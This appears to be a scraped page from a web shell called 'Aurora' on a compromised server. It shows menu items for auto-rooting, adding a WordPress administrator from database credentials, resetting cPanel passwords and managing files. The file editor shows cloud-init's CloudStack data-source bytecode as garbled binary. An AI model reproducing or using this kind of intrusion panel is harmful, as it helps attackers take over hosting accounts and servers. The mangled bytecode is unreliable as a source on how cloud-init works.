Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
cloudinit
sources
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: DataSourceCloudStack.cpython-39.opt-1.pyc
a -@=j4- � @ s� d dl Z d dlZd dlZd dlmZ d dlmZmZmZ d dl m Z d dlmZm Z d dlmZ d dlmZ d dlmZ d d lmZ d d lmZ e �e�ZG dd� d�ZG d d� dej�Zdd� Zdd� Zdd� Zeej ej!ffgZ"dd� Z#dS )� N)�suppress)�gaierror�getaddrinfo� inet_ntoa)�pack)�sources�subp)� url_helper)�util)�dhcp)�NoDHCPLeaseError)�ec2c @ s( e Zd ZdZdd� Zdd� Zdd� ZdS ) �CloudStackPasswordServerClienta� Implements password fetching from the CloudStack password server. http://cloudstack-administration.readthedocs.org/ en/latest/templates.html#adding-password-management-to-your-templates has documentation about the system. This implementation is following that found at https://github.com/shankerbalan/cloudstack-scripts/ blob/master/cloud-set-guest-password-debian c C s || _ d S �N)�virtual_router_address)�selfr � r �J/usr/lib/python3.9/site-packages/cloudinit/sources/DataSourceCloudStack.py�__init__, s z'CloudStackPasswordServerClient.__init__c C s: t � ddddddddd d �|�d�| j�g�\}}|�� S )NZwgetz--quietz--tries�3z --timeoutZ20z--output-document�-z--headerzDomU_Request: {0}z{0}:8080)r �formatr �strip)r Zdomu_request�output�_r r r �_do_request/ s ��z*CloudStackPasswordServerClient._do_requestc C s4 | � d�}|dv rd S |dkr&td��| � d� |S )NZsend_my_password)� �saved_passwordZbad_requestz-Error when attempting to fetch root password.r )r �RuntimeError)r �passwordr r r �get_passwordD s z+CloudStackPasswordServerClient.get_passwordN)�__name__� __module__�__qualname__�__doc__r r r r r r r r s r c sf e Zd ZdZdZdZdd� Zdd� Zd� fd d � Zdd� Z d d� Z dd� Zdd� Ze dd� �Z� ZS )�DataSourceCloudStackZ CloudStack�x �2 c C sd t j�| |||� tj�|jd�| _d| _|| _t | j�| _ | j sJtd��d| j � d�| _i | _ d S )N�csZlatestzNo virtual router found!zhttp://�/)r � DataSourcer �os�path�join�seed_dir�api_ver�distro�get_vr_address�vr_addrr �metadata_address�cfg)r Zsys_cfgr0 �pathsr r r r V s zDataSourceCloudStack.__init__c C s� t �d� dD ]}t�|�}|r|�� S qt �d� ttj��< t�� �| j d�}|rp|�� W d � S W d � n1 s�0 Y t �d| j j j� z.| j j �| j j �}|�d�}|r�|�� W S W n tttfy� Y n0 t �d� dS ) z�Try obtaining a "domain-name" DHCP lease parameter: - From systemd-networkd lease (case-insensitive) - From ISC dhclient - From dhcpcd (ephemeral) - Return empty string if not found (non-fatal) z.Try obtaining domain name from networkd leases)Z DOMAINNAMEZDomain�domain-namezHCould not obtain FQDN from networkd leases. Falling back to ISC dhclientr6 NzBCould not obtain FQDN from ISC dhclient leases. Falling back to %sz7No domain name found in any DHCP lease; returning emptyr )�LOG�debugr �networkd_get_option_from_leasesr r �NoDHCPLeaseMissingDhclientError�IscDhclient�get_key_from_latest_leaser0 �dhcp_client�client_name�get_newest_lease�fallback_interface�getr �FileNotFoundError�AttributeError)r �key� domainnameZdomain_name�latest_leaser r r �_get_domainnamed s: ��4�� z$DataSourceCloudStack._get_domainnameFc sn t � �|||�}|rjd|jvrjt�d� | �� }|r^|j� d|� �}t�d|� t�||j�S t�d|� |S )z� Returns instance's hostname / fqdn First probes the parent class method. If fqdn is requested, and the parent method didn't return it, then attach the domain-name from DHCP response. �.zFQDN requestedzObtained the following FQDN: %szNCould not determine domain name for FQDN. Fall back to hostname as an FQDN: %s) �super�get_hostname�hostnamer7 r8 rG r ZDataSourceHostnameZ is_default)r ZfqdnZ resolve_ipZ metadata_onlyrK rE �� __class__r r rJ � s �z!DataSourceCloudStack.get_hostnamec C s~ | � � }|jdkrdS t�| jd�g}t�� }tj||j|jt j d�\}}|r\t �d|� nt �d|t t�� | �� t|�S )Nr Fzlatest/meta-data/instance-id)�urlsZmax_wait�timeoutZ status_cbzUsing metadata source: '%s'z>Giving up on waiting for the metadata from %s after %s seconds)Zget_url_paramsZmax_wait_seconds�uhelpZcombine_urlr3 �time� monotonicZwait_for_urlZtimeout_secondsr7 Zwarningr8 Zcritical�int�bool)r Z url_paramsrN � start_time�urlZ _responser r r �wait_for_metadata_service� s, ��� �z.DataSourceCloudStack.wait_for_metadata_servicec C s | j S r )r4 �r r r r �get_config_obj� s z#DataSourceCloudStack.get_config_objc C s i }t j|| jd d�r>|d | _|d | _t�d| j� dS z�| �� sNW dS t� � }t �| j| j �| _t �| j| j �| _t�dtt� � | �� t| j�}z|�� }W n" ty� t �td | j� Y n0 |r�d|d did�| _W dS t�y t �td| j � Y dS 0 d S ) Nr) )�basez user-dataz meta-dataz%Using seeded cloudstack data from: %sTFz)Crawl of metadata service took %s secondsz/Failed to fetch password from virtual router %sZexpire)Z ssh_pwauthr Zchpasswdz(Failed fetching from metadata service %s)r Zread_optional_seedr. Zuserdata_raw�metadatar7 r8 rW rQ rR r Zget_instance_userdatar/ r3 Zget_instance_metadatarS r r2 r � ExceptionZlogexcr4 )r Zseed_retrU Zpassword_clientZset_passwordr r r � _get_data� sV ��� � ���zDataSourceCloudStack._get_datac C s | j d S )Nzinstance-id�r[ rX r r r �get_instance_id� s z$DataSourceCloudStack.get_instance_idc C s | j d S )Nzavailability-zoner^ rX r r r �availability_zone s z&DataSourceCloudStack.availability_zone)FFF)r! r"